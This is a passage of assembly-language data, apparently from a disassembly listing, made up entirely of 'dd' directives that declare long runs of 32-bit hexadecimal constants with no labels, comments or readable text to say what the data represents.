		dd 0AAF99400h, 1E188Dh,	663D93FBh, 86E4F056h, 7DB6E303h
		dd 8022DB57h, 18C63D3h,	59842D09h, 0C86AC3C8h, 90C0E9D7h
		dd 4316F4A7h, 53F50023h, 0BCD8561Fh, 663B1882h,	48BB80D5h
		dd 9C57C297h, 8BE43AC3h, 0A028C11Bh, 0A5C840E0h, 0EF18D013h
		dd 2E1C600h, 5C73661Ah,	310760A1h, 4B884F89h, 986E1F00h
		dd 0FA008618h, 0F827D0D1h, 3A4D17F6h, 7A18EC36h, 0B80DD07Dh
		dd 75FCC97Ah, 0FFD26901h, 41D665Dh, 1E2B42DCh, 7E968476h
		dd 61871B0Ah, 716D0094h, 0D811C04Eh, 0FD0790A0h, 2054CF74h
		dd 0EB3A4DA4h, 0BAF20041h, 0FABF5976h, 0F2E0743h, 60FB01A3h
		dd 3C2C16D0h, 5707D400h, 0B496327Bh, 1C863AD2h,	539F4680h
		dd 69EF1F9h, 68C87F29h,	11C71F00h, 86EC203Ah, 418F20h
		dd 2CC951A6h, 7D2E4752h, 0D8BDC600h, 6F8059B1h,	0F8C703F7h
		dd 7E963B61h, 340C3003h, 0C0854A1Bh, 3DDE3909h,	0FF15C9h
		dd 0F8547730h, 0E82D9076h, 30BBA340h, 5A5A2439h, 0EA009F67h
		dd 8BEC0F13h, 19888D5h,	94FD866h, 0D0C836B6h, 580C72BDh
		dd 40B412D7h, 0AF035025h, 0AC57500Dh, 0E350609h, 0E06CEEF8h
		dd 397AE800h, 428BDC1h,	29B1EDDh, 0DB73050Ch, 10C83F47h
		dd 62C57CDAh, 8EC980D5h
		dd 8F005EECh, 71940AC5h, 6358042h, 3BD9B1DDh, 1D00899Ch
		dd 0A08A5B5Ah, 4E390B9h, 321F8B1Eh, 9A588CC5h, 9E865802h
		dd 1197ACD0h, 2F4370CDh, 9B806B00h, 0BC9D9965h,	21A2079Eh
		dd 0B17410BAh, 20570A71h, 6200485Ch, 0B21C94A0h, 713218CBh
		dd 0FED8CE89h, 0BD8A76CEh, 0BCDF0038h, 0C60A97B3h, 47189C42h
		dd 0A6C72095h, 511ACA00h, 7975BE68h, 4BAA1CF7h,	4C837EEFh
		dd 0C8C2926h, 3D0051C6h, 9091784Eh, 3CCC0912h, 748938E2h
		dd 10886E8Eh, 0F0EF0984h, 0CCFE2C21h, 85AE0D8h,	17125500h
		dd 724B1AB3h, 3BAE0365h, 35766E2h, 0E18BD5C0h, 0B0F57828h
		dd 2B6B0802h, 8266D895h, 1B1CCDDCh, 73B10DF0h, 883CC321h
		dd 0F3005C3Bh, 0D224051h, 325301A0h, 5605368Eh,	0B4862A54h
		dd 0CA460098h, 0C52FBD1Ch, 4C1FC47Eh, 67400CA3h, 2A947828h
		dd 25050023h, 715065D4h, 0BAFEB561h, 1B4A601Ch,	0B81060FAh
		dd 13E430FBh, 31CDF1D9h, 41471A0h, 0A2318AC0h, 36DB00B8h
		dd 2F010F19h, 0F100B5E5h, 94F53F74h, 24EF5D27h,	0FF045A5h
		dd 3C80F8B7h, 63292A9Eh, 1928DBE6h, 0A03084DCh,	0B2408989h
		dd 0C1C8DE95h, 3037337Ch, 69308025h, 89D59E44h,	2EFE07C0h
		dd 0C01F4CFAh, 57BEE8F5h, 0C71E2000h, 70099F8Eh, 395F03B9h
		dd 0AC2B3511h, 5CA61000h, 0E61808EBh, 367E307Fh, 0A430EE48h
		dd 1BB88602h, 808BC95Fh, 0E3D74720h, 2918A6FBh,	0B0341A8Eh
		dd 1CB5E358h, 0CC2988h,	4AD3AEF5h, 0D2EC9DDCh, 812BE974h
		dd 0A30230B8h, 0A0E5D5BEh, 4A9A4E1Ch, 0A5980A95h, 0EC4C82DDh
		dd 7853CB70h, 556E071Ch, 7CB9886h, 384A8296h, 4664D350h
		dd 990E0AEFh, 23C230B8h, 0E92E3875h, 5898BA07h,	38417865h
		dd 9C5A9720h, 232B930Ah, 0E5CEC388h, 0D508410Ah, 0EEF068C7h
		dd 82DF0A08h, 0E76483D8h, 211D6573h, 4358E30h, 0F3BE1870h
		dd 0D74003B5h, 39AEFEBDh, 44B847h, 35CFEEEFh, 602ADh, 0FEC2F47Eh
		dd 0C4A2C34Eh, 83BF3C12h, 315C8C00h, 53027892h,	7098B4D8h
		dd 0B7144245h, 247F03h,	0C48FB66Eh, 12B29Ch, 1C71892h
		dd 0A606F895h, 0B3108665h, 84312400h, 12CC4BFh,	27CF3EABh
		dd 0F88F1C41h, 0A30348B2h, 5186C3E2h, 69D2B992h, 3A1208D0h
		dd 6A1F9ACEh, 7A880653h, 2D03202Ah, 2F32E685h, 25800D6h
		dd 7C78AC0h, 2C8424D0h,	0A2E19D2h, 6C182BA8h, 0CF23A488h
		dd 0C172003Ch, 723F1EDh, 3A880C0h, 3A68ABC9h, 281BB6D6h
		dd 0CDC208D4h, 5B72E800h, 24480199h, 0EB289A17h, 0BBC0F3C4h
		dd 0C8059252h, 31ECF38Dh, 0F92A5421h, 5500921Ch, 6B1A899Ch
		dd 0FD43ED70h, 2CC8B886h, 0A03F86Ch, 0B108A865h, 51C5A7D6h
		dd 98288801h, 6C4DECAAh, 8C3FD9CCh, 88FF3200h, 7A96E899h
		dd 0B48303EDh, 7608ABA5h, 0AE61E07Ch, 34A38858h, 0A210AC4Ah
		dd 60AF809Ah, 50DD5145h, 525884ACh, 88987450h, 0C084A41Ch
		dd 0E915F139h, 2B0563F2h, 0F0265C83h, 29AA902Ch, 121C7156h
		dd 9B400211h, 1898F508h, 0E7C05EFh, 10C081FEh, 137D1F2h
		dd 0AC8D5143h, 183852DFh, 25A7C7C0h, 28DFAF94h,	0F062EA01h
		dd 0A85C9A63h, 11C6006Fh, 9664207Fh, 0CA0EB652h, 823DBA89h
		dd 9AF2A3F3h, 9D386048h, 588D6F2Eh, 89C9BCE0h, 0AE74E25Ah
		dd 1C189A56h, 6E897DA7h, 12BE8049h, 5689B430h, 2206587Ah
		dd 29DD6935h, 0C1E9B212h, 7454180Eh, 20018F14h,	610CDE6Fh
		dd 0A0D20A96h, 0EE54F074h, 0B506B2A1h, 72D88E0Eh, 3EFA043h
		dd 24F061CBh, 0E004AEC3h, 0F10B1EABh, 199281C3h, 9183B80Ch
		dd 0C3ED004Dh, 0E3EF20F3h, 0FB7CDAC2h, 920460ACh, 0B46693F3h
		dd 4E71181Fh, 0FE746543h, 1DFCC300h, 0C5A6A3EFh, 20E356F3h
		dd 7CC36128h, 52ACA1C4h, 944EBDD1h, 62866A02h, 0C0A25C09h
		dd 0D8829E83h, 1894A6FEh, 7361FB04h, 12035F25h,	91020CB0h
		dd 1A23F038h, 6DC9CBBh,	196ED52Eh, 0B2023845h, 0E3F037F4h
		dd 0B888881Fh, 28E89159h, 925F268Dh, 5B44024Ch,	9C45FAECh
		dd 0D647401h, 28955E22h, 698F2472h, 23244BE5h, 0D80ADBC4h
		dd 0DC37F2FAh, 346BCC70h, 27C3BF3h, 0F1F2DABCh,	4A837445h
		dd 0F5DB2B42h, 0F319B047h, 50630365h, 96CD8993h, 0A37629B2h
		dd 28307042h, 5910F8D0h, 12395B28h, 3A4BF28h, 0FA8665CBh
		dd 0DAA168A7h, 1240BA36h, 200958E7h, 3C2408C3h,	29F5FCE0h
		dd 0B2F9C054h, 1A8666FEh, 0F81ED3Ah, 0F50DBAh, 898FDB5Ah
		dd 481CE83Ah, 0C6B044EFh, 4430B009h, 0DFD2982Ah, 94F4A24Fh
		dd 44D506A4h, 28BED3DAh, 3E597202h, 96F1C3EFh, 0D05B2450h
		dd 9231302Fh, 0F0C19057h, 27BFE403h, 0DF807432h, 0BCACB115h
		dd 47E6CCA8h, 0EB68920Bh, 5270050Fh, 1EE88480h,	4CF89866h
		dd 680064F1h, 88A76DE4h, 99784ADAh, 0ABBD8D13h,	1890702Ch
		dd 91495CA7h, 0D4988352h, 0BB7E8813h, 0FE01FC1Dh, 0BAC6289Bh
		dd 8E9020h, 4523ED6Fh, 0B408A771h, 0C02C6E90h, 48006CB8h
		dd 0E190C596h, 9E3F067Bh, 98D5B688h, 9B0F3370h,	9E34D1E8h
		dd 0A77AEF07h, 0C03B6282h, 0C6299C0Ch, 70E47578h, 78EB393Ah
		dd 88992431h, 0C8D08DDAh, 3823E14Ah, 0C5931D81h, 0F21C34C6h
		dd 0A6160B76h, 681DFA68h, 80057F12h, 881ECC1Ah,	82D0C8Ch
		dd 2AA7F61Fh, 0E6A09A48h, 0F568EC18h, 965304Ch,	0C1D38E29h
		dd 14129881h, 0F7BC414Dh, 0C6C44113h, 22C08976h, 0BF5882DEh
		dd 0B3040B2h, 3978CAAFh, 0E86EBD90h, 993B8580h,	0C048D728h
		dd 4C24748Ch, 965890ECh, 47D11049h, 0A5B20C8Dh,	5C6AB83Eh
		dd 50007C4Bh, 0A2C8A31Ch, 481D9E27h, 28024CEEh,	0C5A8830Bh
		dd 0E1548284h, 9048DEA2h, 246FCDD2h, 0EC023648h, 0E0CF5748h
		dd 0B8874650h, 8C075058h, 91BE2808h, 809E6FC0h,	0C1ADF685h
		dd 1AA3C74h, 8F82FA9h, 0E0896745h, 1D288C7Fh, 1CA4CC3Eh
		dd 0A846AB5Ah, 66204E35h, 70505920h, 0F0ECC820h, 0C4FD58A7h
		dd 18985F28h, 68A50F88h, 951B96A6h, 8AA847E8h, 413440FEh
		dd 10B548E0h, 0CEC3317h, 28A8BAE0h, 8C98A26Fh, 0DFB8698Ah
		dd 461A1210h, 0B8C19F90h, 68677F2Eh, 0E0B6540Ch, 8C463A9h
		dd 9814CE44h, 17E0B124h, 0F81A0A52h, 811060EAh,	618890A8h
		dd 0EBFA08CFh, 18C87074h, 45FE38B2h, 0F826F498h, 81091C53h
		dd 0C66486FAh, 7B831E10h, 0D2183D7Fh, 0E59F30BFh, 0B0DD8F0Ch
		dd 6C368DFh, 0C9A3E2BBh, 0CB3128D4h, 0FEB008D6h, 0E489E89Ch
		dd 79AF0130h, 744303EDh, 4A5099CCh, 486036E8h, 46B75508h
		dd 962EEA0h, 75A3C191h,	0E7165402h, 20B8BC41h, 5B3A081Ch
		dd 83680F55h, 0CC011F5Ah, 4E8A4E9h, 72300FCBh, 0A309998Ah
		dd 0A9815840h, 0C9E0461Dh, 0CCA19081h, 67D09161h, 8528CA8Bh
		dd 4E880EA0h, 4FA804BEh, 0C100A229h, 8381F6E6h,	9C24A032h
		dd 18E8002Ch, 0E2A8A763h, 48A4BF06h, 31D05F4Ah,	0D0907B0Ch
		dd 3C8F0BCh, 0E30BF64h,	423F18D2h, 4B48ACCh, 0F510809h
		dd 888C0C30h, 0A8EF2888h, 0CD5224F0h, 41270900h, 62DC405h
		dd 50CFE8A0h, 74B10813h, 0FE38B40Fh, 4FD84804h,	1869DF06h
		dd 68509A31h, 0B42883C3h, 7250AB31h, 10CAFB16h,	4DEA3043h
		dd 8B072C68h, 0D6304490h, 0DEA960B7h, 0B012F09Bh, 0C6D09500h
		dd 0BF24B898h, 2E01246Ch, 6F7DA620h, 92618BCh, 0E93A0914h
		dd 0DA232C01h, 0F9F0252h, 0F1013180h, 289A0DE3h, 0B443548h
		dd 90628BAh, 4EE4117Ch,	33A8E020h, 37D8B6E7h, 0EBC8C818h
		dd 902AE808h
		dd 0A096F0B8h, 744E20F0h, 70C028B6h, 0C4081280h, 18D00403h
		dd 193CC213h, 2C659862h, 81957A82h, 37922276h, 0B168B086h
		dd 0F85D5A24h, 3857E80Bh, 79BE8DA8h, 0B4DA4C61h, 38E3627Ch
		dd 3063F708h, 20C911AAh, 28302199h, 2595A044h, 42712CF6h
		dd 159D9C68h, 77C0349Bh, 40431B7Dh, 204850BAh, 9E881898h
		dd 0B2DDC830h, 0F538485Ch, 0C207280Ah, 0DD001F0h, 341008A3h
		dd 20F17298h, 0A0A26004h, 0C80F3889h, 0B074F8AFh, 8D402F26h
		dd 0E258EC37h, 0FC09A442h, 0DCD23840h, 4A265C90h, 0A43950A9h
		dd 7A124480h, 7382401Bh, 750F4C10h, 0E28B410Eh,	0FC5E2182h
		dd 34990461h, 28921578h, 70D90133h, 48607C5Fh, 6839484Dh
		dd 0F68588EEh, 939C091Ah, 9208E8A4h, 78694788h,	2E551227h
		dd 44073D29h, 0C3040F54h, 2724A036h, 7A263490h,	118974D7h
		dd 0EE708FF7h, 69DD472Eh, 109A036Fh, 0FF103D42h, 1983F10Bh
		dd 57848C0Fh, 0D65481A4h, 5E1880DEh, 0D403EC95h, 26A0B822h
		dd 89477B0h, 3713DA7Dh,	0FD189C1Fh, 0C6D20320h,	0A070BAA8h
		dd 63041D78h, 0BCE4A3EDh, 8903A06h, 12386058h, 4082E3A8h
		dd 689CC052h, 8C934CFEh, 970AF24h, 0F4010840h, 3034F4A8h
		dd 8C09B08h, 0BEF06288h, 8EC931E1h, 8F76A930h, 58F3740h
		dd 0C4122160h, 0F89A180Ah, 0AC471713h, 284145E6h, 0CC30D15Eh
		dd 548C4CBFh, 0E8C48728h, 7F09C4F2h, 7D2C81CAh,	8B282007h
		dd 75FA8C90h, 13142E48h, 1807BEB4h, 884290ACh, 0A8CC6029h
		dd 5CCE5CFBh, 0FFA017h,	89956488h, 0BF625BDAh, 6002AEF8h
		dd 744D751Ch, 0B32428F0h, 80FCBB98h, 0D5A66C88h, 0FF24FDEEh
		dd 0E850E412h, 657C1874h, 3DB220F8h, 9BD84765h,	3BA87CC0h
		dd 0EC32EDDDh, 1F1682DEh, 34E9B6EAh, 0C8B02038h, 94C91428h
		dd 1A089B58h, 71E872E8h, 0E1E47BCh, 78FA0AE6h, 13B4725Dh
		dd 641D2068h, 8C94140Ah, 0B0429C13h, 5986FBB2h,	734B4794h
		dd 48FEB738h, 24F59222h, 96B050ACh, 0DA01470h, 0D4942C4Eh
		dd 4CC5710Dh, 89F140FDh, 1AC8B05h, 0DDBBABFh, 3C30B642h
		dd 0A09A6291h, 0FC85CCA3h, 485080C1h, 18CBAC6Ah, 683402C4h
		dd 36C41DCh, 8C80E4CBh,	24ECC681h, 3598B983h, 0D09C4098h
		dd 0CAFDA63Eh, 26842448h, 28044853h, 0D0C2A068h, 6F5848A3h
		dd 0F160C3A9h, 0AEC2A76Ch, 3681868h, 0E43C8D81h, 9B4E12Ch
		dd 0E081EC88h, 0F2911FC8h, 0E906E496h, 4EE3C12Ch, 27F201D8h
		dd 0EA3F076h, 0E1B82071h, 60B0F94Ch, 0F45CA809h, 0E3810FBEh
		dd 28F5902Eh, 0A895A180h, 0CA0913E6h, 223D1299h, 9C294EE0h
		dd 2DF81FC0h, 8040194Bh, 45A361B2h, 83542874h, 0B139B03Ah
		dd 8AD228F4h, 7F9D4430h, 316CB887h, 25F0BD5Eh, 20B8CEE8h
		dd 0BF31ED27h, 0C72E94Fh, 74C8D040h, 593896DEh,	0D902ECEDh
		dd 9230F561h, 63E9743Ch, 884EC771h, 0F798973Fh,	0E032F92Bh
		dd 52E8C158h, 22348024h, 899CB0E5h, 0BDFC411Eh,	4890841Bh
		dd 0ECC5E195h, 580BEC13h, 3600231Ah, 888BA5B9h,	91F3BD02h
		dd 0E0A55DB7h, 83DC0216h, 0F4608F4Ah, 9A121995h, 0CC448828h
		dd 4C0B7C62h, 2187608Eh, 0EF868F6Ch, 45C20B1h, 64BC5880h
		dd 90C05419h, 9F77CA1h,	9CF161AAh, 900C9484h, 9A17A500h
		dd 31660813h, 0B5ADAC06h, 18BC6158h, 92B815C8h,	601FF7C0h
		dd 0D824D30Ch, 904C0646h, 10E72981h, 88338D26h,	28088518h
		dd 0A58B1CF5h, 0FD09368h, 0F33DB08h, 9EC07DA0h,	0A77C1CE8h
		dd 5A6270E8h, 45EBE10h,	0AF080438h, 0E0C80C80h,	4C10903Dh
		dd 8837A855h, 0B8D98071h, 0A8FD48A4h, 11614C60h, 469FBE18h
		dd 0A09C10C1h, 800365C1h, 0C0103BB8h, 731B4F97h, 0C0F438FCh
		dd 86C168E8h, 59667498h, 5DF19E29h, 1C161CDFh, 7228069Bh
		dd 4B1C582Dh, 6801477Fh, 8F41AA06h, 0AFD0E421h,	0A8A50BD3h
		dd 36E1Ch, 8C1053Dh, 5841DEEDh,	86503445h, 81B34B06h, 3A40D3FAh
		dd 0A10CF62Dh, 0C4182F78h, 8A74D0Ah, 2805FC46h,	1CC1D4BFh
		dd 0F442A5FEh, 0CA84E335h, 7D70C9FAh, 98C8C0F7h, 68A7185Dh
		dd 3888D0E6h, 482768B8h, 3702BA5h, 9012824h, 0ABCBBA11h
		dd 1504EC16h, 85FD2183h, 655C1207h, 4614709Bh, 1813307Ah
		dd 10B763h, 642D4EF9h, 8BBC9100h, 0A44C90h, 14C2527Ah
		dd 13023A80h, 0F4924C30h, 68386524h, 18C98B0Ah,	0B3829853h
		dd 925D403Ch, 0EC3A97F6h, 0D8BAA6C3h, 68A2E022h, 348308Ch
		dd 8E81B509h, 0DB1403A9h, 0A580A19Ah, 2894100h,	4A7F9898h
		dd 8FDA78CBh, 67F8003Ch, 74013A86h, 4DF8F78Bh, 504CB4EDh
		dd 26FE5128h, 8E90F26Fh, 2438339Bh, 0E4E1083Ch,	36805BBAh
		dd 0FA3F1DFh, 5EB8CFB0h, 8E1406D6h, 214CA88Dh, 27481720h
		dd 0C0228449h, 4CF68800h, 0BEB02CA5h, 1122A863h, 9D5B02A1h
		dd 4ABDE3E2h, 0C015E461h, 2A5021BEh, 4406C188h,	666190CAh
		dd 96E49878h, 0E40B00C8h, 0BB0F889Bh, 0B0E08958h, 48AD02C9h
		dd 218B14CDh, 0ED6E1420h, 0F524C1BEh, 16124CE0h, 0DB15441Dh
		dd 0EB9D17A8h, 0FE1DE8CBh, 2542043Fh, 0B5288393h, 38D081ECh
		dd 912C3030h, 202CF95Fh, 131F12D3h, 0D2044226h,	0E0415903h
		dd 8088E11h, 8C381881h,	5824BEEBh, 0B40B9D16h, 65B680B7h
		dd 9EFD83D8h, 0E90C8866h, 0C8B47892h, 94B898D7h, 80C95060h
		dd 145FB22Ch, 0AFEE14BEh, 4C084CACh, 0A508E004h, 82A7202Eh
		dd 71A15213h, 61758800h, 15A90191h, 7C2046AAh, 10E1BE83h
		dd 7C5E19E9h, 24064BCCh, 4C408C72h, 284F4071h, 0ED1E1F98h
		dd 5D0002D7h, 0C74B1145h, 41A80AA6h, 58CC9E86h,	0B4244C23h
		dd 0B28C281Fh, 14683064h, 809E244Bh, 0F9CA86B0h, 0C9852E6h
		dd 8020D225h, 0AD69674h, 32DD383Ah, 5EE87A00h, 0BCBBBA1Dh
		dd 271E4100h, 0B756A90Eh, 0C7B53CA5h, 603D0507h, 4F0B70C6h
		dd 38C022FCh, 0E767E215h, 0BEDD1025h, 523801Fh,	0D13B53h
		dd 81C03D06h, 0BF5970BCh, 30447B2Ah, 0FFCEC400h, 745B73B5h
		dd 85B20A1Fh, 0C0144F36h, 0B869AA2Ch, 742E9D00h, 70C6257Fh
		dd 0E16F29D9h, 8330013Ch, 809FD103h, 68FDF28h, 63BA7Fh
		dd 5DAF1F2Fh, 5019711Ah, 3045432Ah, 0E8CF3104h,	3F008C24h
		dd 59736ADAh, 1D4AFB03h, 54EDC5Ah, 2D8A4798h, 978606Fh
		dd 78351B48h, 1D07409Ah, 817B0ADAh, 238F0543h, 1824184Ch
		dd 0A9EC0CEAh, 0DE505AFFh, 0C1F1B3CDh, 0E36C58DAh, 698EF715h
		dd 8A5F1580h, 2D6C190h,	8180662Dh, 19B851BFh, 80A8C43Ah
		dd 7AF0BC16h, 0ADB231Dh, 8104F10Fh, 0DA0D63Ah, 808FD7D3h
		dd 199272BAh, 6D2058FAh, 0F8813178h, 94BF2D28h,	0C13C8518h
		dd 0E2BDC5FBh, 0D21F9C50h, 7A0D199Dh, 0C05A08D5h, 5FF07FF9h
		dd 70D9BCA0h, 0E0DC9351h, 7DFC7383h, 0A45918C0h, 38DA7FFAh
		dd 5762BF4h, 7619912h, 638308Dh, 0C712C9AFh, 40C4CE6h
		dd 3B5AD085h, 1AA9F415h, 42A840ECh, 0AB6154C1h,	0B758DF30h
		dd 0CB068C41h, 837845D2h, 7DB79EBDh, 0CE3FD11Ah, 74F814C1h
		dd 20E87701h, 0E6332F53h, 298550B9h, 40F89A60h,	0AD8391B3h
		dd 2BF88144h, 81400DC2h, 4D486BDFh, 0CA5F018Eh,	8828A455h
		dd 0D08308C1h, 9C3F9B93h, 542BE4F4h, 7466C683h,	51517C01h
		dd 501CF84Eh, 0B87508E9h, 7F02BC7Ah, 960DA16Eh,	0FC5204F8h
		dd 4A783D1h, 0BC1029DFh, 400548B0h, 90547A28h, 0CABB3F05h
		dd 7860B970h, 20C6A740h, 9F148DE2h, 0A0641CD9h,	333F3D01h
		dd 0FF5057ABh
		dd 7085DCD3h, 288D963Ch, 289829E2h, 68CB5F01h, 3DB8C769h
		dd 7253D70h, 8DE7668Fh,	118741C8h, 0E867F070h, 0C7561274h
		dd 406F0778h, 785C0998h, 0FF6A30BFh, 5E278BA0h,	0FD298718h
		dd 7815C708h, 94691D67h, 0FBDDDD47h, 78BAA71Bh,	607807CBh
		dd 31D9C2Ch, 66B1E004h,	2405708Bh, 4046EB8Ah, 4FF21F88h
		dd 23479973h, 2DC3A202h, 0D8A11524h, 4B71E221h,	0A03604B0h
		dd 0DF41DCD2h, 327371A2h, 6276C0C4h, 92101823h,	8031F97Ch
		dd 0C3C0B022h, 584094B5h, 700D9F80h, 606491EBh,	0EA306635h
		dd 0E5FF79C0h, 4C9970A4h, 0FA003429h, 3971E055h, 7F48FB6Dh
		dd 878FE070h, 5F9A40B4h, 7D096600h, 378C1BA7h, 18885319h
		dd 92E3EA02h, 0BF00BCC0h, 2709199h, 60803C39h, 0FA388AA7h
		dd 336E29D9h, 92520BB4h, 0AE02281Ch, 0D0E8CE65h, 30B48757h
		dd 2F9A001Eh, 91476963h, 0A204054h, 5E28ED13h, 0BF38B855h
		dd 0B0A44857h, 14D1F6E2h, 0B85A3E98h, 0A42FE114h, 0F4DCDAE0h
		dd 9F81F360h, 0B170BE5Ch, 33E06060h, 0D367A0AFh, 5817FF28h
		dd 5F41609h, 0AEE8904Ch, 60CC801Eh, 702BB315h, 0C1016479h
		dd 2ACC50D4h, 0F538BF00h, 2258B098h, 0A5BA1304h, 0B0C0A014h
		dd 308A0638h, 1F385A83h, 88C422E0h, 0D88139B0h,	0BC33BAAEh
		dd 7F7E4480h, 38DD5F55h, 5E3E0747h, 0C8776CF5h,	6B209230h
		dd 51B0A95Ch, 48B92C70h, 0A704C01Bh, 8B7FCA44h,	400B06ACh
		dd 1261EE36h, 2EAB63Fh,	342DEBDCh, 0E7802845h, 8B3A865Dh
		dd 6910C0E9h, 0C2DA0AF5h, 0A108E160h, 0F0CF1F5Bh, 336309BEh
		dd 2003A908h, 2900F4BAh, 8B0EB67Ch, 1D882Bh, 0D92D758Eh
		dd 82C34081h, 0C8B34E06h, 750C53Ch, 0E8F5364Dh,	0CB3E90D4h
		dd 0C8C08C14h, 0E1096227h, 919F1E69h, 462500EAh, 8821B21h
		dd 489BD833h, 7947E06Eh, 372B0004h, 0EA3EAAE2h,	990687E4h
		dd 9285366Ah, 27763008h, 0E8C6CA20h, 40C7EA00h,	1820B631h
		dd 42C53E43h, 3CC48806h, 0F1002850h, 1630914Ch,	52390Bh
		dd 53D22F87h, 4B9A20DFh, 8A45F00h, 0F11EF206h, 2B07007Dh
		dd 86B37657h, 0F4000199h, 0BBF80866h, 0A3EA64BEh, 0DAF10084h
		dd 0FB3E5C86h, 2BECE535h, 8F9C970Dh, 0A400BEDEh, 0F447922h
		dd 26D9AA2h, 662E905h, 40D6D7A0h, 0A6BE6300h, 0B4A9411Fh
		dd 6B6D0010h, 76E43BC6h, 0CF002534h, 3CD88F1Ah,	5CD7529Bh
		dd 0CC4046C3h, 56170041h, 2521FB11h, 2262583Ch,	8E680708h
		dd 7AAEE090h, 0A7D26h, 0DD718021h, 2C4E3CDEh, 0E236811Fh
		dd 6FBEDF03h, 1850001Dh, 233AFEADh, 0C8077A31h,	3B434676h
		dd 299C5DF0h, 8392002Eh, 14A49028h, 0CCEB6249h,	7CF61B44h
		dd 9C69B100h, 0BDC2FF09h, 3AFD00A7h, 0F07F93FEh, 2E172291h
		dd 61007BF7h, 0F6395659h, 0EDDCF368h, 67B800D8h, 8A104DCh
		dd 0A600D4EAh, 31A7C744h, 1D3543Ah, 43755863h, 0F436FAFEh
		dd 0CF008BC6h, 0D0D66D15h, 51A3EEh, 0E39EC4F7h,	0E420A553h
		dd 0FC2148h, 44900EB8h,	886FB3h, 2F138408h, 0CE7FA218h
		dd 82979C00h, 66FD48CFh, 0D2F20046h, 7E75FE7Ah,	3000BE85h
		dd 0EE74F450h, 3CCBCF6Eh, 950779BBh, 0D0DBCCCAh, 8B7F32C0h
		dd 0EA186377h, 0B1509636h, 378E00F5h, 0D79A34DFh, 18C580FAh
		dd 47EFEC4h, 1B1AB6C0h,	6A00E5ADh, 35AC92A1h, 0B3910Dh
		dd 5CF558F8h, 800A1967h, 28441F18h, 2933D0h, 0C5567C1Ah
		dd 0ED2DD264h, 0F7513711h, 0F47DF5B0h, 8326C085h, 62F89D21h
		dd 0E41D591Fh, 0BC2416DFh, 61325400h, 0C708E3Dh, 0FF078129h
		dd 0B221418h, 0D94F287Bh, 11B02818h, 7CEF110Ch,	0AAF8041Ch
		dd 4803386Eh, 49080936h, 867A639Ch, 1908C54Eh, 7448021h
		dd 0A8C9A018h, 4253A408h, 1882C0D6h, 3C822A48h,	0C82530Fh
		dd 3110EF4h, 8F5AC0Ch, 1554422Ch, 0E22423D0h, 8460A201h
		dd 9772104Ah, 142854A0h, 4BD318A0h, 0C2884A4h, 0B6280C15h
		dd 581130C9h, 5321661Fh, 18307C8Ah, 1B738006h, 5CE03049h
		dd 761D3C78h, 5448C70Bh, 39ED839Ah, 0D2190461h,	4428A34h
		dd 32003B97h, 7AF14EB1h, 10BC4324h, 9700B99Fh, 650E0A8Dh
		dd 46BA078Ch, 27EA8E28h, 75D5F04Eh, 0BD01FB90h,	6D88D119h
		dd 449279DCh, 97540106h, 0EA146845h, 0B825A4A0h, 0A0C26239h
		dd 485B054Bh, 0F04E631Ch, 0CA730F6Ah, 0B2013A3h, 0EBEF982Ch
		dd 0A0DECBE4h, 5FC2225Eh, 7C296Ch, 0BBD70ED9h, 44D81100h
		dd 106EEB5h, 8C993D65h,	564FF980h, 0E0FECB19h, 49DA7B05h
		dd 1C7C8283h, 0A5C5078Eh, 266B12E6h, 0DE38B10Dh, 7AD0040h
		dd 97AAD2EAh, 40784C69h, 0F9EC730Fh, 0F30ADF42h, 368A8CA0h
		dd 0BA50E8AEh, 0E0EC8DA4h, 99EF0B03h, 0EA53C92Dh, 59C8A7EBh
		dd 8FA30F81h, 17ACC24h,	28C5FA02h, 401F7CBFh, 0F03B7B14h
		dd 3378F90Ah, 8700340Eh, 3ADBF14Ch, 9E90059h, 5DAB3EBEh
		dd 1098D266h, 0AA46E300h, 0EA052DBDh, 3920008Ah, 7067860Eh
		dd 0FFA0C181h, 0F21CCDB5h, 5CC06333h, 67964BB6h, 807109h
		dd 567F2A13h, 15942EF7h, 0AD09FFECh, 5F3455F3h,	0C0C01D84h
		dd 85E3F818h, 5C1C6890h, 0B34F79DAh, 0C23C819Ah, 0D0A6F16Ch
		dd 258030C1h, 808579E3h, 0D9B39852h, 0F00B9A1h,	9691A865h
		dd 8DF730h, 0E0039E0Ch,	8311A6CFh, 6077EE01h, 1EA4C76Ch
		dd 0A0DFC0D3h, 5CC40F99h, 0F4806F5Eh, 0BA828873h, 0A2B43F00h
		dd 0EB399BD3h, 1F757C99h, 2815E6h, 962609B8h, 0EE006EBEh
		dd 40F4C4CFh, 0E9FB1CDCh, 0B1820B0h, 3E4C3B87h,	3CAB01BBh
		dd 0FD7F8302h, 3180C7EDh, 0B4229575h, 0D4A013C8h, 31000F7Bh
		dd 65B76272h, 78F4B970h, 0A888A03Eh, 0A3390CFEh, 3070DD28h
		dd 0D6FBED00h, 351DF0C5h, 1FE9A13Eh, 0A10D7460h, 37CC74E9h
		dd 24AD0041h, 6AF6C61h,	0F33010C3h, 9AED18B1h, 95F1002Fh
		dd 8225A4C4h, 0EE03260Eh, 7E2DCB73h, 3918C388h,	6DB0A2F0h
		dd 39DD740h, 916558h, 8323EE10h, 51A5E8h, 9A8DF6DCh, 1D1B9B76h
		dd 0E96D7400h, 0DA37D02h, 157687h, 38D8C9EFh, 6E8FDA93h
		dd 0FA5EC700h, 0B764994Eh, 0AA1100F1h, 144D01BBh, 0CEF26D63h
		dd 0B2B43D0Eh, 41B0E0A4h, 2881526h, 97DDF28Ah, 0BE407B0Dh
		dd 0FBFC38F0h, 0EFA94C00h, 792936Ch, 786D01F2h,	37349851h
		dd 0D4A0EE06h, 0E4232544h, 0E130C738h, 68788EE8h, 1997B080h
		dd 0DF02226Eh, 0B40230ACh, 9426117Dh, 0AF0418EEh, 498B6580h
		dd 0FF00000Dh, 3E385ADAh, 6C0F2795h, 0DD330363h, 20C05F89h
		dd 67804648h, 0CAFD0096h, 0D63E36CBh, 0D200AF77h, 79B68C21h
		dd 0C1A9F3Dh, 7EC32B63h, 0DA05C170h, 60810ED1h,	6B20C0AEh
		dd 9312113Ah, 64009F3Bh, 5324DE9h, 0C850C437h, 76C881D3h
		dd 0C60CD84Ch, 47156E01h, 7E871BD8h, 0F6DAE080h, 74A88DD6h
		dd 8BC3FD01h, 113D2108h, 0EC24FEF4h, 1BDB03AAh,	0BA6094A9h
		dd 8ECED080h, 0F4CC2350h, 0E72B6700h, 74F5AFEBh, 0D01518ADh
		dd 0E2F1F83Fh, 0C9E02F04h, 509C3A29h, 0DDCB0204h, 7158AEDAh
